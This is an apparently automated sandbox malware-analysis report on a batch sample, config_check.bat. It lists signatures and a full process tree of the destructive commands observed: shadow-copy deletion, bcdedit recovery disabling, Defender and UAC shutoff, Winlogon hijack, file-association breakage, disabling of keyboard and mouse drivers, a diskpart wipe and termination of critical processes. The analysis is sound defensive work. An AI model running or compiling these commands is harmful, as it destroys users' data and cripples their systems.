Resubmissions

26/06/2026, 15:54

260626-tb7fyscx5110

26/06/2026, 15:51

260626-tal4macx5t10

Analysis

  • user interaction
    yes
  • max time kernel
    20s
  • max time network
    24s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/06/2026, 15:54

Errors

Reason
Machine shutdown

General

  • Target
    config_check.bat
  • Size 3KB
  • Sample260626-tb7fyscx51
  • SHA256 a44bfab8a3758325b3e35d0b6341db0dbb0c906b6c5842fcd1b5bbc11f85b981
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 4 IoCs
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 4 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 10 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies system executable filetype association 2 TTPs 4 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Power Settings 1 TTPs 2 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 3 IoCs
  • Modifies registry class 12 IoCs
  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\config_check.bat"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of WriteProcessMemory
    PID:5244
    • C:\Windows\system32\cacls.exe
      "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
      2⤵
        PID:1368
      • C:\Windows\system32\cscript.exe
        cscript //nologo "C:\Users\Admin\AppData\Local\Temp\msg.vbs"
        2⤵
          PID:4708
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispCPL /t REG_DWORD /d 1 /f
          2⤵
            PID:2036
          • C:\Windows\system32\reg.exe
            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispBackgroundPage /t REG_DWORD /d 1 /f
            2⤵
              PID:1424
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDevMgr /t REG_DWORD /d 1 /f
              2⤵
                PID:3752
              • C:\Windows\system32\reg.exe
                reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Network" /v NoNetSetup /t REG_DWORD /d 1 /f
                2⤵
                  PID:4404
                • C:\Windows\system32\reg.exe
                  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFolderOptions /t REG_DWORD /d 1 /f
                  2⤵
                    PID:5212
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin delete shadows /for=c: /all /quiet
                    2⤵
                    • Interacts with shadow copies
                    PID:2648
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /set {default} recoveryenabled No
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:1272
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /set {default} bootstatuspolicy ignoreallfailures
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:4964
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /set {default} advancedoptions No
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:4636
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /timeout 0
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:3872
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /set {bootmgr} displaybootmenu no
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:1256
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                    2⤵
                      PID:4508
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                      2⤵
                      • Modifies Windows Defender DisableAntiSpyware settings
                      PID:4292
                    • C:\Windows\system32\reg.exe
                      reg add "HKCR\.exe" /ve /t REG_SZ /d "txtfile" /f
                      2⤵
                      • Modifies registry class
                      PID:5560
                    • C:\Windows\system32\reg.exe
                      reg add "HKCR\.bat" /ve /t REG_SZ /d "txtfile" /f
                      2⤵
                      • Modifies registry class
                      PID:2576
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
                      2⤵
                        PID:1492
                      • C:\Windows\system32\reg.exe
                        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
                        2⤵
                          PID:1988
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "cmd.exe" /f
                          2⤵
                          • Modifies WinLogon for persistence
                          PID:2580
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "cmd.exe," /f
                          2⤵
                          • Modifies WinLogon for persistence
                          PID:5156
                        • C:\Windows\system32\reg.exe
                          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Critical_System_Svc" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\config_check.bat" /f
                          2⤵
                          • Adds Run key to start application
                          PID:5976
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Critical_System_Svc" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\config_check.bat" /f
                          2⤵
                          • Adds Run key to start application
                          PID:3684
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "Cleanup" /t REG_SZ /d "cmd.exe /c del /q /f C:\Users\Admin\AppData\Local\Temp\config_check.bat" /f
                          2⤵
                          • Adds Run key to start application
                          PID:3640
                        • C:\Windows\system32\reg.exe
                          reg add "HKCR\exefile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f
                          2⤵
                          • Modifies system executable filetype association
                          • Modifies registry class
                          PID:5016
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0 /f
                          2⤵
                            PID:5108
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies" /v WriteProtect /t REG_DWORD /d 1 /f
                            2⤵
                              PID:2384
                            • C:\Windows\system32\powercfg.exe
                              powercfg -h off
                              2⤵
                              • Power Settings
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3040
                            • C:\Windows\system32\fsutil.exe
                              fsutil behavior set disablelastaccess 1
                              2⤵
                                PID:2208
                              • C:\Windows\system32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
                                2⤵
                                • UAC bypass
                                PID:5964
                              • C:\Windows\system32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
                                2⤵
                                • UAC bypass
                                PID:3912
                              • C:\Windows\system32\reg.exe
                                reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
                                2⤵
                                  PID:6000
                                • C:\Windows\system32\reg.exe
                                  reg add "HKLM\SYSTEM\CurrentControlSet\Services\mouclass" /v Start /t REG_DWORD /d 4 /f
                                  2⤵
                                    PID:2404
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKLM\SYSTEM\CurrentControlSet\Services\kbdclass" /v Start /t REG_DWORD /d 4 /f
                                    2⤵
                                      PID:5520
                                    • C:\Windows\system32\net.exe
                                      net user Administrator 1234567890ABCDEF /active:yes
                                      2⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:1512
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user Administrator 1234567890ABCDEF /active:yes
                                        3⤵
                                          PID:5444
                                      • C:\Windows\system32\diskpart.exe
                                        diskpart /s "C:\Users\Admin\AppData\Local\Temp\wipe.txt"
                                        2⤵
                                          PID:252
                                      • C:\Windows\system32\vssvc.exe
                                        C:\Windows\system32\vssvc.exe
                                        1⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3332
                                      • C:\Windows\system32\cacls.exe
                                        "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
                                        1⤵
                                          PID:2564
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe
                                          1⤵
                                            PID:5068
                                          • C:\Windows\System32\cscript.exe
                                            cscript //nologo "C:\Users\Admin\AppData\Local\Temp\msg.vbs"
                                            1⤵
                                              PID:1464
                                            • C:\Windows\System32\vdsldr.exe
                                              C:\Windows\System32\vdsldr.exe -Embedding
                                              1⤵
                                                PID:4900
                                              • C:\Windows\System32\vds.exe
                                                C:\Windows\System32\vds.exe
                                                1⤵
                                                • Checks SCSI registry key(s)
                                                PID:4140
                                              • C:\Windows\System32\reg.exe
                                                reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispCPL /t REG_DWORD /d 1 /f
                                                1⤵
                                                  PID:4452
                                                • C:\Windows\System32\reg.exe
                                                  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispBackgroundPage /t REG_DWORD /d 1 /f
                                                  1⤵
                                                    PID:2796
                                                  • C:\Windows\System32\reg.exe
                                                    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDevMgr /t REG_DWORD /d 1 /f
                                                    1⤵
                                                      PID:1212
                                                    • C:\Windows\System32\reg.exe
                                                      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Network" /v NoNetSetup /t REG_DWORD /d 1 /f
                                                      1⤵
                                                        PID:4068
                                                      • C:\Windows\System32\reg.exe
                                                        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFolderOptions /t REG_DWORD /d 1 /f
                                                        1⤵
                                                          PID:2040
                                                        • C:\Windows\System32\vssadmin.exe
                                                          vssadmin delete shadows /for=c: /all /quiet
                                                          1⤵
                                                          • Interacts with shadow copies
                                                          PID:3948
                                                        • C:\Windows\System32\bcdedit.exe
                                                          bcdedit /set {default} recoveryenabled No
                                                          1⤵
                                                          • Modifies boot configuration data using bcdedit
                                                          PID:2704
                                                        • C:\Windows\System32\bcdedit.exe
                                                          bcdedit /set {default} bootstatuspolicy ignoreallfailures
                                                          1⤵
                                                          • Modifies boot configuration data using bcdedit
                                                          PID:4516
                                                        • C:\Windows\System32\bcdedit.exe
                                                          bcdedit /set {default} advancedoptions No
                                                          1⤵
                                                          • Modifies boot configuration data using bcdedit
                                                          PID:2988
                                                        • C:\Windows\System32\bcdedit.exe
                                                          bcdedit /timeout 0
                                                          1⤵
                                                          • Modifies boot configuration data using bcdedit
                                                          PID:5944
                                                        • C:\Windows\System32\bcdedit.exe
                                                          bcdedit /set {bootmgr} displaybootmenu no
                                                          1⤵
                                                          • Modifies boot configuration data using bcdedit
                                                          PID:5656
                                                        • C:\Windows\System32\reg.exe
                                                          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                          1⤵
                                                            PID:2960
                                                          • C:\Windows\System32\reg.exe
                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                                            1⤵
                                                            • Modifies Windows Defender DisableAntiSpyware settings
                                                            PID:3300
                                                          • C:\Windows\System32\reg.exe
                                                            reg add "HKCR\.exe" /ve /t REG_SZ /d "txtfile" /f
                                                            1⤵
                                                            • Modifies registry class
                                                            PID:5240
                                                          • C:\Windows\System32\reg.exe
                                                            reg add "HKCR\.bat" /ve /t REG_SZ /d "txtfile" /f
                                                            1⤵
                                                            • Modifies registry class
                                                            PID:1028
                                                          • C:\Windows\System32\reg.exe
                                                            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
                                                            1⤵
                                                              PID:2380
                                                            • C:\Windows\System32\reg.exe
                                                              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
                                                              1⤵
                                                                PID:5148
                                                              • C:\Windows\System32\reg.exe
                                                                reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "cmd.exe" /f
                                                                1⤵
                                                                • Modifies WinLogon for persistence
                                                                PID:2904
                                                              • C:\Windows\System32\reg.exe
                                                                reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "cmd.exe," /f
                                                                1⤵
                                                                • Modifies WinLogon for persistence
                                                                PID:5544
                                                              • C:\Windows\System32\reg.exe
                                                                reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Critical_System_Svc" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\config_check.bat" /f
                                                                1⤵
                                                                • Adds Run key to start application
                                                                PID:3584
                                                              • C:\Windows\System32\reg.exe
                                                                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Critical_System_Svc" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\config_check.bat" /f
                                                                1⤵
                                                                • Adds Run key to start application
                                                                PID:4268
                                                              • C:\Windows\System32\reg.exe
                                                                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "Cleanup" /t REG_SZ /d "cmd.exe /c del /q /f C:\Users\Admin\AppData\Local\Temp\config_check.bat" /f
                                                                1⤵
                                                                • Adds Run key to start application
                                                                PID:1268
                                                              • C:\Windows\System32\reg.exe
                                                                reg add "HKCR\exefile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f
                                                                1⤵
                                                                • Modifies system executable filetype association
                                                                • Modifies registry class
                                                                PID:1072
                                                              • C:\Windows\System32\reg.exe
                                                                reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0 /f
                                                                1⤵
                                                                  PID:4792
                                                                • C:\Windows\System32\reg.exe
                                                                  reg add "HKLM\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies" /v WriteProtect /t REG_DWORD /d 1 /f
                                                                  1⤵
                                                                    PID:5364
                                                                  • C:\Windows\System32\powercfg.exe
                                                                    powercfg -h off
                                                                    1⤵
                                                                    • Power Settings
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:4280
                                                                  • C:\Windows\System32\fsutil.exe
                                                                    fsutil behavior set disablelastaccess 1
                                                                    1⤵
                                                                      PID:1488
                                                                    • C:\Windows\System32\reg.exe
                                                                      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
                                                                      1⤵
                                                                      • UAC bypass
                                                                      PID:5480
                                                                    • C:\Windows\System32\reg.exe
                                                                      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
                                                                      1⤵
                                                                      • UAC bypass
                                                                      PID:1700
                                                                    • C:\Windows\System32\reg.exe
                                                                      reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
                                                                      1⤵
                                                                        PID:1560
                                                                      • C:\Windows\System32\reg.exe
                                                                        reg add "HKLM\SYSTEM\CurrentControlSet\Services\mouclass" /v Start /t REG_DWORD /d 4 /f
                                                                        1⤵
                                                                          PID:964
                                                                        • C:\Windows\System32\reg.exe
                                                                          reg add "HKLM\SYSTEM\CurrentControlSet\Services\kbdclass" /v Start /t REG_DWORD /d 4 /f
                                                                          1⤵
                                                                            PID:1316
                                                                          • C:\Windows\System32\net.exe
                                                                            net user Administrator 1234567890ABCDEF /active:yes
                                                                            1⤵
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:6068
                                                                            • C:\Windows\system32\net1.exe
                                                                              C:\Windows\system32\net1 user Administrator 1234567890ABCDEF /active:yes
                                                                              2⤵
                                                                                PID:5320
                                                                            • C:\Windows\System32\diskpart.exe
                                                                              diskpart /s "C:\Users\Admin\AppData\Local\Temp\wipe.txt"
                                                                              1⤵
                                                                                PID:712
                                                                              • C:\Windows\System32\vdsldr.exe
                                                                                C:\Windows\System32\vdsldr.exe -Embedding
                                                                                1⤵
                                                                                  PID:4072
                                                                                • C:\Windows\System32\taskkill.exe
                                                                                  taskkill /f /im explorer.exe
                                                                                  1⤵
                                                                                  • Kills process with taskkill
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:3000
                                                                                • C:\Windows\System32\taskkill.exe
                                                                                  taskkill /f /im wininit.exe
                                                                                  1⤵
                                                                                  • Kills process with taskkill
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:2956
                                                                                • C:\Windows\System32\taskkill.exe
                                                                                  taskkill /f /im csrss.exe
                                                                                  1⤵
                                                                                  • Kills process with taskkill
                                                                                  PID:5228
                                                                                • C:\Windows\System32\shutdown.exe
                                                                                  shutdown /r /t 0 /f
                                                                                  1⤵
                                                                                    PID:5676
                                                                                  • C:\Windows\system32\LogonUI.exe
                                                                                    "LogonUI.exe" /flags:0x4 /state0:0xa39ca055 /state1:0x41c64e6d
                                                                                    1⤵
                                                                                      PID:6072
                                                                                    • C:\Windows\System32\svchost.exe
                                                                                      C:\Windows\System32\svchost.exe -k CameraMonitor
                                                                                      1⤵
                                                                                        PID:4644

                                                                                      Network

                                                                                            MITRE ATT&CK Enterprise v16

                                                                                            Replay Monitor

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                                                                                            Downloads

                                                                                            msg.vbs

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\msg.vbs
                                                                                            • Size 115B
                                                                                            • SHA256 8cb9a1eedd6972abcba897ff0007fef8f804cef1d7fb7b9e1a5fb24f5229a2d8
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            wipe.txt

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\wipe.txt
                                                                                            • Size 31B
                                                                                            • SHA256 1bbaf091d7665e035230e5561efae319e330153b5ab1ea0f8e829705b2b78233
                                                                                            • MD5 SHA1 SHA512